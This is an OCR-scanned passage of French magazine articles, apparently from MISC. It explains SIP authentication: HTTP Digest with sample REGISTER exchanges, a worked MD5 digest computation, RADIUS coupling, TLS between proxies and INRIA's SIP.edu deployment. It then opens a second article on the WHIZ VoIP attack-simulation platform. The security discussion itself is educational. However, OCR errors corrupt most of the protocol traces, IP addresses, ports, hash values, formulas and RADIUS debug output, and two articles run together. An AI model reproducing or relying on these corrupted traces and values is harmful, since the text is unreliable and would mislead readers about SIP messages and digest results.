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un challenge a I'utilisateur dans l'en-téte WWW-Authenticate.
Sur réception de la reponse initiale du serveur, le client procede
au calcul du resultat a renvoyer au serveur, fonction de son mot
de passe et du challenge regu. |l renvoie sa reponse dans l'en-téte
tuterization d'une nouvelle requéte d'enregistrement. Sile résultat
renvoye correspond a celui calculé par le serveur, I'enregistrement
de l'utilisateur est validé (200 OK)

Le deétail des messages échangés est donné ci-dessous (serveur
d'enregistrement Asterisk). Dans l'exemple, |'utilisateur bob (adresse
IP : 192.168.0.2) s'enregistre aupres du serveur (adresse |P :
192.168.0.1) :

REGISTER sip:192.168.9.1:5068 SIP/2.8

Conteni-Length: 8

Contact: <sip:bob@192.168.9.2; 5868>; events="nessage-sumnary”

Cal1-10: 10B0AB4B-37E9-4FR5-BERB-EIABFOBREES1@192.168.0.2

Mas-Forwards: 7€

From: <sip:bob@192,168.8.1:5068>;taq=278587183498

(Seq: 3 REGISTER

To: <sip:bob@192.168.8,1:5068>

Vig: SIP/2.0/UDF 192,168.9.2;rport;branch=z9hG4bKABSd2fa58131c9b143467 101 BREGIIL ZEGABEE13

SIP/2.8 481 Unauthorized

Yig: SIP/Z.8/U02 192.168.6.2;vport;branch=z3nG4bKBASAZfaR0131cob143467 1 A1ARAGI91200080013;
received=1%2.168.9.2

From: <sip:bob@192,168.8.1:5068>;ta0=220587183498

To: <sip:bob@192.166.8.1:5860>;tag=as11b42eed

Call-10: 1DBDAB4B-37E9-4FR5-REBB-EIARFARBEES1@192.168.0.2

CSeq: 3 REGISTER

User-Agent: Asterisk PRY

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, WOTIFY

[ontact: <sip:hob@197.168.0.1:5860>

HWN-Authenticate: Digest realm="biloxi.com", nonce="4f87h354"

Content-Length: §

REGISTER s1p:192.168.0.1:5860 SIF/2.0

Content-Length: @

[ontact: <sip:bob@192, 168.0.2:5060>; events="messaqe-summary”

Call-10: 1DBDAR4B-37E9-4FR5-BESB-ESABFEEREES18192.166.0.2

Max-Forwards: 78

From: <sip:bob@192,168.8.1;5850>;tag=0285872822611

(Seq: 4 REGISTER

To: <sip:bob®192.168.8.1:5068>

Yia; SIP/2.B/UDP 192.168.8.2;rport; branch=z3hGAbREANA 2 fa5131c9b143467 1010060 4e0dRRERRR10

huthorization: Digest username="bob",realn="biloxi.con" nonce="4f87005d" uri="sip:192.168.0.
1:5868" respanse="64fEd30507 19602606 de 4 FBaR1af cot"

SIP/2.6 28@ OK

Vig: SIP/2,0/U0P 192.168.8.2;rport;branch=z0hG4b¥8A542 fabR131c 90143467 10100004 6400000816,
received=192,168.0.2

From; <sip:bob@192,168,8.1:5060>;1ag=2205872822811

To: <sip:bob@192,168.0.1: 58605 tag=as1lb42eel

Call-10: 10BDAB4B-37E9-4FD5-BEAR-EIABFABREES1G15Z.166.8.2

(5eq: 4 REGISTER

User-Agent: Asterisk PEX

Mlow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY

Expires: 128

Contact: <sip:boD@157.168.8,2:5860>;expires=120

Date: Fri, @7 Oct 2085 12:57:55 GHT

Content-Length: @

36

Lauthentification HTTP Digest est définie dans le document RFC
2617. Cette methode présente quelques limitations :

o Seul le client s'authentifie. Une attaque de type MiTM (Man in
The Middle) avec un faux serveur est donc possible.

= Comme dans le cas de toutes les méthodes d'authentification
par mot de passe, les attagues par dictionnaire sont possibles.

= La confidentialité des échanges n'est pas assuree. Méme si
le mot de passe n'est jamais transmis sur le reseau, le reste des
eléments est véhicule en clair. C'est notamment le cas du challenge
envoyé par le serveur et de la reponse associee envoyee par
le client.

TLS (Transport Layer Security — ex SSL) permet d'authentifier le
serveur et d'assurer la confidentialité des échanges entre le client
et le serveur. Cependant, ['utilisation de TLS implique un transport
TCP, et la plupart des logiciels clients SIP (User Agents) proposent
uniguement une implementation SIP/UDP avec authentification
HTTP Digest. Cependant, SIP/TCP tend a s'imposer, notamment
en raison de |'explosion de la taille des messages SIP qui,
lorsgu'ils sont transportes sur UDP, entrainent un processus de
fragmentation bloguant sur certains équipements de routage.

2.2 Détail et stockage des mots

de passe

Comme on l'a vu, l'authentification par challenge permet de ne
pas véhiculer le mot de passe sur le réseau. Le résultat du calcul
deépend d'un certain nombre de paramétres, et peut étre plus ou
moins protégé en fonction de la valeur du parametre qop (Quality
Of Protection). Dans le cas le plus simple, c'est-a-dire avec une
protection minimale, le calcul est le suivant (en reprenant les
notations du document RFC 2617) :

HAL) = MDG(username:reaim: password)
H{AZ) = ND5{METHOD:Request-URT)
response = MOS(H(AL) :nonce:HIAZ))

Ce qgui dans le cas de I'utilisateur bob, dont le mot de passe est
zanzihar donne :

HIAL) = HD5(bob:biloxi.com:zanzibar) = 12afhB467a33eB518da0chBbbFF12011

H{AZ) = MD5(REGISTER:sip:192.168.0.1;5060) = 5Bf8a9525b9735821bab0f Tc3d28b725
response = MOG(12afaB467233e8518dabcoBhbf 12011 4A70954  5AF 805250073582 1babd
T7c3d280725) = 64fRd3A5hT1A96b260RdeEFRaB el

La nature méme de la méthode d'authentification utilisee, realisant
des opérations de hash irréversibles impose au serveur de disposer
soit du mot de passe en clair, soit de la chaine H(AL).

Il est bien entendu preferable de stocker la chaine H(Al) sur le
serveur plutét que le mot de passe en clair, dautant que celui-
ci peut servir pour d'autres applications que le service SIP.
Ainsi, en cas de compromission du fichier contenant les couples
username/H(A1), seuls les utilisateurs du service SIP seront
impactés, pour une valeur de realm donnee.

Cependant, il est important de noter que la chaine H(Al), sielle a
eté dérobée par un attaguant, peut étre utilisée telle guelle pour
s'authentifier auprés d'un serveur. Elle ne sert qu'a cacher le mot
de passe a l'administrateur des comptes SIP, et est limitée a une
valeur de realm donnée pour le service SIP.

2.3 Couplage RADIUS

Le protocole RADIUS est utilise depuis longtemps pour ses
fonctions AAA (Authorization Authenlication Accounting). Les
travaux de couplage avec l'authentification HTTP Digest pour SIP
avancent au sein du groupe de travail RADEXT : http://wwuw.ietf.
org/html.charters/radext-charter.html.
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Un document standardisant ce mécanisme d'authentification a
été publié durant I'été 2006 (RFC 4590 [5]) : http://www.ietf.
orgl/rfc/ric4590.txt.

Cependant, nombre d'implementations logicielles s'appuient
sur le dernier draft ayant precéde la publication du standard :
http://www.ietf.org/internet-drafts/draft-ietf-radext-digest-
auth-08.txt [3].

Ce document sert de base aux implementations actuelles de
différents proxy/registrars SIP tels que SER, OpenSER ou I'0S
Cisco. Du coté des serveurs RADIUS, FreeRADIUS propose
une impleéementation (elle aussi d'apres le draft) depuis un certain
temps déja.

L'idee est de supporter |la fonctionnalite « client RADIUS »
sur les proxys ou registrars SIP, afin de renvoyer les elements
d'authentification du client SIP vers un serveur RADIUS a qui la
vérification d'identité de |'utilisateur SIP sera déléguée.

Ragistrar + client RADIUS Serveur RADIUS

S

1 - REGISTI =

SIP User Agent

e Z = 407 WONWW-ALNENLCE e

3 — REGISTER + response—js|

4- Access Request -
5 — AcDESS ACCRPE:

«* — 200 O

Enregistrement et authentification — RADIUS

La requéte RADIUS Access-Request, du client vers le serveur doit
contenir un certain nombre d'attributs RADIUS de fagon a étre
traitee. Au minimum, on doit retrouver :

= Digest-Response : la valeur calculée par le client, comme résultat
du challenge transmis par le proxy/registrar SIP ;

= Digest-Realm : la valeur de realm configurée dans le proxy/
registrar SIP ;

= Digest-Nance : la chaine aléatoire choisie par le proxy/registrar
SIP;

= [igest-Method : la méthode de connexion du client SIP ;

= Digest-URI : I'URI demandée par le client ;

= Digest-User-Name : le nom d'utilisateur du client.

Le serveur RADIUS dispose alors de tous les éléments
necessaires au calcul permettant de valider l'identité du client,
sous reserve que le mot de passe de ['utilisateur soit présent dans
sa base d'authentification. Selon que le resultat calculé par le
serveur RADIUS est identique a la valeur contenue dans I'attribut
Digest-Response ou non, le serveur RADIUS renverra une réponse
Access-Accept ou Access-Reject.

Ci-dessous les informations de debogage d'un serveur
FreeRADIUS recevant une requéte d'authentification de la part
d'un registrar SIP. Le resultat calculé par le serveur est identique

a celui envoye par le client (cf. lignes EXPECTED et RECEIVED),
l'authentification a reussi.

rad_recv: Access-Request packet from host 127.8.8.1 port 1153, id=128,
length=17¢

User-Name = "bob"

Digest-Response = "64fAd3B5bT1A96026A00e4fBaBle el

medcall: Teaving group authorize (returss okl for request @
rad_check password: Found Auth-Type DIGEST
auth: type "digest”
Processing the authenticate section of radiusd.conf
medcall: entering group authenticate for reguest @

nce = "dfE7D

Digest-Method = "REGISTER"
Digest-URT = "sip:192.168.0.1:5060"
Digest-User-Kame = “hoh"

i comszanzipar

IST p:192.168,8.1; 5050
HiA1) = 12a76846733308518da5¢c68b0FF12011
H42) = 5BfBa952500735821baba7TcId2B0725
KD = H{12af6@467233e85Bdabc6B8b0fT12b11:ATATRI5d: 50Ra052509735821bab0f7c1d2B0TER)
EXPECTED BAfEdIASDF1BSED26RRCRATERALFref
RECEIVED 647@d1850F1096b2606dedfBablefaf
modcal1[authenticate]: module "digest” returns ok for request @
modeall: Teaving group authenticate (returns ok) for request 8
Sending Access-Accept of id 128 to 127.8.8.1 port 1153

3. Authentification inter

proxies par certificats

Nous avons vu précedemment que dans le cadre de la meéthode
d'authentification HTTP Digest, le serveur SIP proxy ou registrar
ne s'authentifiait pas aupres du client. L'utilisation du protocole TLS
permet de demander de maniére explicite une authentification du
serveur, et éventuellement du client.

La sécurisation compléte des échanges de client a client par des
mecanismes tels que TLS ou IPSec permettrait d'assurer les
fonctions d'authentification, de confidentialité et de non-repudiation.
Dans ce cas, la possession d'un certificat (pour TLS ou IPSec)
ou d'une cle pre-partagée (pour |IPSec) est indispensable a la
mise en place d'un lien sécurisé. S'il est naturellement impossible
d'envisager d'établir des connexions sécurisées avec un ensemble
toujours grandissant de clients a partir de clés pre-partagees,
l'utilisation de certificats par les clients SIP impliguerait guant a
elle la gestion d'une PKl ou IGC (Infrastructure de Gestion de Clés)
a une grande echelle, necessitant une organisation rigoureuse et
colteuse.

Par ailleurs, le chiffrement complet des données de client SIP
a client SIP interdirait de solliciter les proxies SIP chargés de
relayer les requétes d'un domaine a l'autre. En effet, dans une
communication SIP classique, les requétes et reponses SIP
traversent des proxies, gui ont besoin d'avoir accés en lecture a
certains en-tétes pour acheminer les messages. De plus, I'en-téte
Iia, servant a suivre la chaine de proxies traversés est modifie a
chague passage de proxy, qui s'ajoute a la liste.

Il apparait donc préférable d'établir une chaine de liaison sire,
constituée des clients SIP et des proxies traversés afin de répondre
aux besoins de securite dans le cadre d'une communication SIP
enlre deux clients.

Dans cette chaine de liaison, seuls les proxies traverses disposent
de certificats, autorisant ainsi I'etablissement de liens securises

|
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{avec authentification mutuelle) entre eux. L'authentification du
proxy SIP vis a vis du client se fait par presentation du certificat
via TLS, et le client s'authentifie par la methode HTTP digest.

Dans l'exemple illustré en figure 3, Alice, appartenant au domaine
example.com désire communiguer avec Bob dans le domaine
example.net. Les identites des deux proxies sont verifiees a l'aide de
la presentation de certificats. Chaque client SIP ou proxy s'assure
gue le certificat qui lui est présenté est toujours valide, ne fait pas
partie de sa liste de certificats révoqués, et que le certificat a été
délivre par une autorité de confiance. De plus, le nom canonigue
de I'hote objet de la veérification d'identite doit &tre identique a la
valeur contenue dans le champ DN du champ sujet du certificat.

P P2
(proxy. example. com) (proxy.example.net)
W v

/ \

/ X
/ \\
User Agent User Agent

(sip:alice@example. com) (sip:bob@axample. net)

Trapezoide SIP

Si les serveurs s'authentifient a l'aide de certificats, les clients
utilisent la méthode HTTP Digest. Le déploiement d'une PKI
incluant les clients SIP n'est pas necessaire, seuls les serveurs
devant disposer de certificats.

L'authentification se fait de proche en proche, entre les nceuds de
l'architecture SIP. Ainsi, des « cercles de confiance » sont établis
entre les différents élements de I'architecture. Notons que cette
relation de confiance transitive se limite pour le client destinataire
a l'assurance que la requéte recue provient d'un serveur proxy SIP
digne de confiance. Si le serveur proxy SIP P1 a été leurré par un
attaquant dans le domaine example.com, ni le serveur proxy SIP P2,
ni l'utilisateur bob ne peuvent detecter I'usurpation. En effet, tout
proxy intermédiaire entre P1 et P2 peut autoriser, voire requeérir
une méthode d'authentification autre que TLS.

Les travaux décrivant cette architecture sont rassemblés
dans le document RFC 3261 [2] ainsi que dans un draft IETF :
http://www.ietf.org/internet-drafts/draft-gurbani-sip-tis-
use-00.txt [4].

4. Application au projet SIP.edu

Le projet SIP.edu est né d'une initiative de l'organisation Internet2.
Une architecture de TolP cible, construite sur le protocole SIP,
est proposée aux différentes universités et autres institutions
académiques désirant s'impliquer dans le projet. Le deploiement
de cette architecture rend les utilisateurs joignables sur leur poste
telephonigue non-IP (numeérique ou analogique) via I'Internet et par
SIP, a partir de leur adresse email. Larchitecture proposée peut étre
déployée a partir de différents Logiciels libres, destinés a compléter
une infrastructure de téléphonie ne disposant pas nécessairement
de fonctionnalité de TolP. Nous présentons ici l'implémentation de
I'architecture cible du projet SIP.edu a I'INRIA.

4.2 Architecture cible

Les éléments a installer pour mettre en place une architecture
SIP.edu sont :

= Un serveur proxy SIP.

Ce serveur est responsable d'une zone DNS donnée, la méme
que celle du serveur de messagerie électronique du domaine
considéré. Un enregistrement DNS de type SRV faisant reference
au nom d'hote du proxy SIP doit étre stocké dans le serveur DNS.
Un exemple détaillé d'enregistrement est donne plus loin.

= Un annuaire.

L'annuaire doit permettre d'établir une correspondance {adresse
email ; numéro de téléphone} pour chaque utilisateur. Tout type de
base de données peut étre utilisé, cependant dans la majorité des
implémentations, un annuaire LDAP est utilise.

= Une passerelle SIP/RTC (Réseau Téléphonique Commute).

Cet équipement doit étre connecté au réseau IP et a
'autocommutateur de site (PABX), par exemple au travers d'une
liaison numerique de type T2, pour autoriser les echanges Q.931
ou QSIG.

Pour compléter ces éléments, un enregistrement indiguant le nom
d'héte du proxy SIP doit étre configuré dans le serveur DNS du
domaine considéré. Par exemple, I'enregistrement ci-dessous
indigue le nom d'hote du proxy SIP responsable du domaine
bigu.edu :

_5ip._udp bigu.edu 43208 IN SRV 18 18 5068 sipserver.bigu.edu.

Detaillons les champs de cet enregistrement DNS SRV :
= le service est SIP ;
= |le protocole de transport est UDP ;

= la durée de vie dans le cache est de 12 heures (43,200
secondes) ;

= la classe est IN (choix unigue) ;

= le type d'enregistrement est SRV ;

= la priorité est 10 ; cette valeur est utilisee en cas d'enregistrements
multiples ;

= le poids est 10 ; cette valeur est utilisée en cas d'enregistrements
multiples de méme priorite

= le port est 5060 ;

= |le nom d'hdte du proxy est sipserver,bigu.edu.

Chacun des éguipements présentés ici joue un réle clé dans la
procédure d'établissement d'appel, les fonctions de chacun sont
détaillées ci-aprés, a partir d'un exemple.

4.21 Exerr ple i | el
Dans cet exemple, l'ordinateur personnel d'Alice est connecte au
réseau Internet, et est equipé d'un softphone SIP — un téléphone
logiciel — qui permet de téléphoner sur Internet. Alice desire
télephoner a Bob, qui de son cété ne dispose d'aucun logiciel ou
matériel de téléphonie sur IP, et est uniquement joignable sur le
poste téléphonique analogigue de son bureau a l'universite BigU.
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Alce's
SIP User Agent

- INVITE
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DRS SRV query  istpbhob@bigo.edu)
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.DNS SIP wvte , SIP-PBX PRUCAS | PBX
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'.

Person ,
Directory éﬁ
Bob's Phone

Exemple d'appel d'Alice (Internet) a Bob (Université Bigll)

Les étapes successives menant a I'établissement de I'appel sont
décrites ci-aprés :

= Alice tape I'URI (Uniform Resource Indicator) SIP de Bob
dans l'interface de son softphone SIP. LURI doit étre construite
sur I'adresse email de Bob : sip:bob@higu.edu.

= Le softphone SIP d'Alice détermine le nom d'héte du proxy SIP
du domaine DNS bigu.edu, a l'aide d'une requéte DNS de type DNS
SRV. La reponse du serveur DNS du domaine bigu.edu indique au
softphone le nom d'hote du proxy SIP.

= La requéte d'établissement de session INVITE est envoyée au
proxy SIP, 'URI associée est sip:bob@higu.edu.

= Le proxy SIP consulte I'annuaire du site pour déterminer le
numéro de téléphone de |'utilisateur dont le champ email est
bob.

= La reponse renvoyée par l'annuaire permet au proxy SIP de
modifier la requéte initiale, afin d'adresser le numéro de téléphone
de Bob via la passerelle SIP/RTC.

Une fois I'appel établi, le trafic voix circule directement entre
le softphone d'Alice et la passerelle SIP/RTC. Le proxy SIP
ne voit transiter gue les messages de signalisation servant a
l'établissement et a la fermeture des sessions SIP.

Differents logiciels et matériels peuvent étre utilisés pour
implementer I'architecture cible. Le paragraphe suivant détaille
les elements choisis dans le cadre de l'intégration de I''NRIA au
projet SIP.edu.

Les elements présentés ici viennent compléter le réseau
télephonique existant qui repose sur un autocommutateur (PABX)
ancien, ne disposant d'aucune fonction de téléphonie sur IP (H323,
SIP ou MGCP).

= Proxy SIP : OpenSER.

OpenSER est une implémentation libre d'un proxy SIP. Trés
flexible, quoique difficile a appréhender, il permet notamment

d'intégrer des scripts declenchés sur certains événements. Cette
fonction est utilisée pour interroger 'annuaire LDAP de I'INRIA sur
réception d'une requéte SIP INVITE d'établissement de session.

= Annuaire : OpenLDAP.

OpenLDAP est une implémentation libre d'un serveur LDAP.
Les informations contenues dans l'annuaire sont publiguement
accessibles. Si le choix de masquer les numéros de téléphones
dans les échanges SIP est arréte, le proxy OpenSER devra étre
configuré en conséquence.

= Passerelle SIP / RTC : routeur Cisco 3620.

N'importe quel équipement muni d'interfaces SIP et téléphonique
conviendra. Un routeur Cisco disposant d'une interface T2/Q.931 a
ete choisi. La pile SIP de base venant avec le systéme d'exploitation
108 a éte activée.

Aucun contrdle d'acces n'est effectué lors de I'établissement d'un
appel, rendant ainsi accessible I'ensemble du personnel de I'NRIA
via une adresse de la forme sip:prenom.non@inria.fr. Le paragraphe
suivant décrit une extension de l'architecture cible, offrant, aux
utilisateurs de I'INRIA seuls, la possibilite d'appeler n'importe quel
numero de téléphone via la passerelle SIP/RTC.

4.3 Extension : solution de TolP pour

nomades

L'architecture cible proposée par le projet SIP.edu permet & toute
personne connectée sur I'lnternet, et disposant d'un softphone SIP
de contacter les membres de I'INRIA. La possibilité de composer
une URI SIP de la forme sip:8123456789@inria.fr est un service
offert aux utilisateurs de I'INRIA se trouvant hors du site, et offre
dans ce cas I'acces a tout numéro de téléphone joignable depuis
l'autocommutateur de I''NRIA. Naturellement, un mécanisme de
securisation de cet accés doit étre mis en ceuvre. Il repose dans
le cas de I'INRIA sur une authentification RADIUS.

La configuration du serveur OpenSER établit la regle suivante,
suivie lors de la réception d'une requéte d'établissement de session
SIP INVITE :

= SiI'URI a traiter contient des caractéres alphabétiques, procéder
a la recherche de correspondance email<=>téléphone dans
l'annuaire LDAP.

= Sinon, si I'URI ne contient que des caractéres numeérigues,
authentifier ['utilisateur sur la base RADIUS, et relayer 'appel vers
la passerelle SIP/RTC en cas de succes.

4.3 Contrdle d'accés RADIUS
Le contrdle d'acces aux URI « numérigues » repose exclusivement
sur l'authentification des utilisateurs. D'autres mécanismes peuvent
étre envisagés pour compléter le contréle d'accés, comme la
verification d'appartenance & un groupe d'utilisateurs privilégiés
autorisés a appeler des numeéros internationaux.

L'authentification RADIUS repose sur une base de comptes dédiés
au service de téléphonie sur IP pour utilisateurs nomades. Le
format de stockage des mots de passe cryptes est incompatible
avec les bases d'authentification généralement utilisees pour
d'autres applications.

Une possibilité est de stocker les mots de passe en clair, ce qui
donnerait vraisemblablement lieu & une remarque assassine dans
un éventuel rapport d'auditeur en systeme d'informations !
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Conclusion

Un systéme d'authentification fort est nécessaire pour
accompagner le déploiement du protocole SIP sur I'Internet.
Les attaques sur le réseau sont nombreuses, et notamment
celles qui concernent l'usurpation d'identité. En particulier,
silerisque de voir se développer le spam sur les réseaux de
téléphonie sur IP est réel, un systéme d'authentification sir
constituera la base des parades a ce fléau anticipé.

Nous avons présenté ici deux méthodes d'authentification
utilisées dans le cadre du protocole SIP. La méthode HTTP
Digest, largement répandue dans les implémentations
logicielles, présente des lacunes en termes de sécurité,
mais peut s'appuyer sur une couche transport quelconque. A
I'inverse, le protocole TLS, s'il participe a renforcer la sécurité
de l'authentification, impose une couche transport TCP, et
les implémentations de SIP sur TCP ne sont pas encore frés
répandues sur les logiciels clients.

QOutre l'authentification, les élements de sécurisation globale
de l'architecture de téléphonie sur IP fondée sur SIP incluent la
confidentialité et l'integrité des échanges de signalisation (SIP),
mais aussi média (RTP). Ces aspects font I'objet de nombreux
travaux, qui seront peut étre présentés dans de futurs articles
de MISC.
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La plate-forme WHIZ :

LE RISQUE VolP

° simuler et etudier les attaques VolP

La voix sur IP {VoIP) est une des technologies récentes dont le potentiel s'est le plus rapidement affirmé. Sa progression
fulgurante chez la plupart des opérateurs Internet et de téléphonie démontre que I'avenir sera tout IP ou ne sera pas. Mais
comme les précédentes, cette révolution a en ligne de mire exclusivement les services et les fonctionnalités que cette
technologie apporte sans que la sécurité ne soit envisagée de maniére préalable et prééminente. La question se pose alors
concernant la sécurité réelle de cette technologie, ses faiblesses éventuelles et le cas échéant comment elle pourrait étre
pervertie par un ou plusieurs attaquants. Mais I'étude de la sécurité, d'une maniére opérationnelle et pratique ne peut se faire
sans un volet expérimental conséquent. Et, pour ce faire, il est nécessaire de disposer d'un environnement de simulation
complet. Cet article présente un tel environnement — la plate-forme WHIZ - et les résultats de simulation de différentes attaques.

mots clés :

écoute / usurpation / DoS / simulation

Introduction : pourquoi une
plate-forme de simulation ?

Le colloque international de l'informatique de San Francisce de
2005 a consacre la montée en puissance de la vision d'un avenir
« Tout IP » du monde de l'informatique. Dans cette convergence
globale vers le « Tout IP », la VolP (Voix sur IP), qui concurrence de
plus en plus les offres de téléphonie traditionnelle, tient une place
majeure par les modifications technologiques et économiques
importantes guelle impligue tant au niveau de l'entreprise que chez
les particuliers. Les operateurs historiques voient leur situation
dominante contestée par des opérateurs audacieux gqui ont su firer
parti de I'émergence de la VolP. Ainsi, la base d'abonnés haut débit
Wanadoo progresse de 63,5 % entre 2003 et 2004, dans le méme
temps, celle de Free fait plus que doubler (+ 120 %). La part de
marché de Free sur 'ADSL (Asymetrical Digital Subscriber Line)
gagne 2 4 points par rapport a 2003 (17,4 % du parc) tandis que
celle de Wanadoo regresse de 6 points (source : Journal du Net,
11/02/05).

Par ailleurs, les entreprises et les administrations envisagent
de plus en plus de mettre en place des solutions VolP pour des
utilisations opérationnelles, alors que celles-ci élaient jusqu’a
present releguees au domaine ludigue de l'utilisation a domicile.

Face a l'importance croissante de ce phenomene, il s'est avere
nécessaire de mener une phase d'étude de la VolP afin d'evaluer
les possibilités de mise en place d'une architecture VolP complete,
d'évaluer les problémes technigues liés a la mise en ceuvre de cette
technologie et d'établir un premier bilan de I'aspect sécurité des
solutions de VolP, corollaire inhérent a toute solution informatique.
C'est la motivation premiére qui a guide |a realisation de Ila plate-
forme WHIZ. La seule autre plate-forme existant a ce jour est
celle du projet lity [1], mais sa description est trés peu détaillee,
aucun code source n'est disponible et il est tres difficile de se
faire une idée opérationnelle de sa validité. De plus, les quelques
attaques presentees le sont de maniere trés (trop) sommaires.
Tres réecemment (avril 2007), les membres du groupe The Grugg
ont annoncé un outil similaire [17] : le tactical VolP Toolkit. Mais,
au-dela de l'effet d'annonce, rien ne permet de savoir ce gu'est
reellement cet outil, ni s'll sera disponible un jour pour le grand public.

Cette plate-forme développée au sein du laboratoire [2] permet
de disposer d'un environnement complet de simulation, de tester

les fonctionnalites d'une architecture VolP, d'expérimenter en réel
les attaques existantes et de faire de |a recherche pour identifier
d'autres attaques possibles. WHIZ a été congue pour offrir une
capacité opérationnelle appréeciable et une grande richesse de
configurations possibles. Elle constitue un outil (exclusivement)
de recherche puissant permettant d'étudier la sécurite présente et
future de la VolP dans le strict respect de la reglementation.

Dans cet article, nous présenterons cette plate-forme et les
principales attagues qui ont été étudiees. Nous renvayons le lecteur
aux arficles du dossier ou a [2] pour |a présentation détaillée de
la technologie VoIP elle-méme (codage de la voix, probléme de
qualité de service, les normes et protocoles...), ainsi que de ses
differentes mises en ceuvre.

La plate-forme WHIZ

Les technologies VolP ont désormais atteint un premier stade
de maturite et offrent des solutions intéressanies permettant de
remplacer integralement les structures traditionnelles existantes
grace a | utilisation de PABX P ou IPBX.

Face a la diversite de protocoles existants pour les implementaticns
de solutions VolP, diversité due au dynamisme particulier qui
caractérise cette technologie, notre intérét s'est porte vers les deux
protocoles majeurs H.323 et SIP, délaissant d'autres protocoles
comme SKINNY qui présente l'inconvenient d'étre une solution
propriétaire. Des deux mastodontes de la VolIP, le protocole SIP
a eu notre préference dans la mesure ou, issu du monde IP, il est
de loin le plus largement répandu parmi les solutions logicielles
gratuites disponibles sur Internet.

Lenvironnement

L'étude theorigue preliminaire a fait le choix d'utiliser un serveur
SipXpbx fonctionnant sous un environnement Linux et plus
particulierement sous Fedora Core 4, du fait du dynamisme des
différents groupes de travail ayant choisi ces solutions. Nous
avons egalement fait le choix d'insérer dans notre plate-forme
des terminaux fonctionnant sous Windows XP. Cela permet de
tester 'interopérabilité des solutions VolP installées sur différents
systemes d'exploitation.
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Dans une premiére étape, la configuration du serveur de nom
de domaine dans l'architecture VolP a pris une importance toute
particuliere dans la mesure ou les adresses SIP utilisent un format
qui se rapproche des URI (Universal Resource Indentifier) du
protocole HTTP. La deuxiéme partie de I'adresse correspond donc
generalement au nom de domaine de |'architecture (voir 'annexe
technigue [2] pour la configuration détaillée).

L'IPBX SipXpbx

LIPBX SipXpbx est I'exemple méme du succes des projets open
source construits a partir de logiciels commerciaux. Ce PABX IP
est fonde sur un logiciel versé dans 'open source par Pingtel en
2004. La SIPfoundry a d'ailleurs été fondée par Pingtel afin de
developper et de distribuer SipXpbx. |l s'agit d'une communauté
internationale de software open source qui s'est fixée comme
objectif d'accelérer I'adoption de SIP pour les solutions de VolP.
Fondee en février 2004, la communauté des développeurs et
utilisateurs de la SIPfoundry s'est rapidement développée et
sétend aujourd’hui @ 63 pays. Dans le cadre du développement
des solutions SIP [3], la SIPfoundry propose des solutions de User
Agent (SipXphone) et d'IPBX (SipXpbx). C'est ce produit qgue nous
avons choisi d'installer pour la plate-forme WHIZ.

Installation de I'IPBX SipXpbx

Avant toute chose, une fois le socle commun en place, il faut
poursuivre |'installation de I'environnement spécifique a I'lPBX
SipXpbx a savoir les RPM (Red Hat Package Manager).
Paradoxalement, la documentation faisant défaut sur ce point, nous
n'avons découvert cet environnement gu'au fur et 4 mesure de
linstallation. En tant que fruit d'un groupe de travail open source, le
produit SipXpbx n'est pas strictement lié a une version d'un systéme
d'exploitation. Les RPM néecessaires pour linstallation de SipXpbx
sont téléchargeables sur le site Internet de la SIPfoundry [3], les
principaux étant cités ci-dessous :

= w3c-1ibwWwe |
= tftp-server ;
= unix0DBE ;
= xinetd ;
= DCre,
Une fois I'IPBX SipXpbx et son environnement correctement
installés (voir annexe technique de [2]), nous disposons
= d'un serveur Apache configuré pour |'administration de I'lPBX
adistance a l'aide de site web ;
= d'un module dédié de gestion de certificats (SSL) pour la
sécurisation de la gestion a distance de I'lPBX :
= d'un serveur TFTP qui fournit les informations de configuration
aux téléphones de l'architecture ;
= d'un IPBX contenant entre autres :
= un serveur proxy ;
= un serveur d'enregistrement ;
= un serveur d'authentification.

La figure 1 illustre les liens entre les différents composants
disponibles a la fin de la phase d'installation.

8
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hitp 8443

ConfigServer

Portal

—— SIF protocet

HTTP or HTTPS:
proioco

e File Syntem

—3 RTPendRTPC

proinool

== TFTP protocal

LAN [ WAN

Conference Server

njrcmrecrure de I''PBX SipXpbx

LIPBX SipXpbx comprend différents serveurs indépendants gui
communigquent en utilisant les protocoles SIP et HTTP/HTTPS :

= le configuration server fournit un site d'administration de
I'lPBX et de 'ensemble des composants de l'architecture SIP ;

= le forking proxy server recoit toutes les demandes d'appels
sur le port standard de SIP : 5060 ; il agit comme un routeur de
l'appel au sein de I'IPBX ;

= le registry/redirect server permet I'enregistrement des clients
et implémente le plan de numérotation (correspondance entre
numeros de téléphone et URI SIP) ;

= le presence server permet I'enregistrement des informations
de présence ;

= le call park server permet la mise en attente d'appels avec
fond musical ;

= |'authorisation proxy server autorise la sortie d'appels ;

= le TFTP server fournit les informations de configuration aux
téléphones de l'architecture ;

= |le postgreSQL server permet I'acces a la base de données
stockant I'ensemble des informations de configuration ;

= le media server offre une interface pour laisser des
messages ;

= le conference server est en cours de développement.

simplement et de facon sécurisée les listes d'utilisateurs et des
téléphones IP de l'architecture a partir de n'importe quel poste du
réseau. L'accés est sécurisé grace au module SSL mis en place
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lors de la phase d'installation de SipXpbx qui permet d'authentifier
le serveur grace a un certificat, d'authentifier le client grace a un
mot de passe et de garantir la confidentialité et l'intégrité des
donnees échangées (notons gque le client pourrait également étre
authentifie par certificat ; cas du protocole TLS Handshake).

Une fois les étapes initiales de I'installation accomplies, I'IPBX
SipXpbx ne permet pas d'établir de communication entre deux
softphones. En effet, le terminal utilisateur choisi et présenté
plus loin, X-Lite, ne s'enregistre pas aupres du serveur
d'enregistrement. Voici la demarche qui nous a permis de trouver
une erreur dans la version d'installation proposee et de conclure
la mise en service de SipXpbx. Afin de déterminer l'origine du
dysfonctionnement, nous avons utiliseé I'analyseur de trames
Wireshark et les journaux des différents composants de |'IPBX. Les
fichiers journaux correspondants et annotés sont joints a 'annexe
technique de [2].

= Etat initial : Une premiére analyse nous a permis de vérifier
la conformité des requétes SIP envoyées par le softphone, avec
le formatage du protocole SIP. Le code erreur 483 est renvoye
par SipXpbx : il y a trop de bonds avant l'accés a ['lPBX pour
gue la requéte soit acceptée. L'analyse du journal du serveur
d'enregistrement a révélé qu'une erreur setait glissee a l'installation
dans la déefinition de la variable definissant le port du serveur
d'enregistrement dans le fichier de configuration du serveur
d'enregistrement

fetc/sipnpha/registrar-contig :
<< SIP_REGISTRAR_PROXY_PORT : 5860 >>

au lieu de :

<< SIP_REGISTRAR_PRONY_PORT : 5068 >>

= Deuxieme analyse . Aprés la correclion de cette erreur,
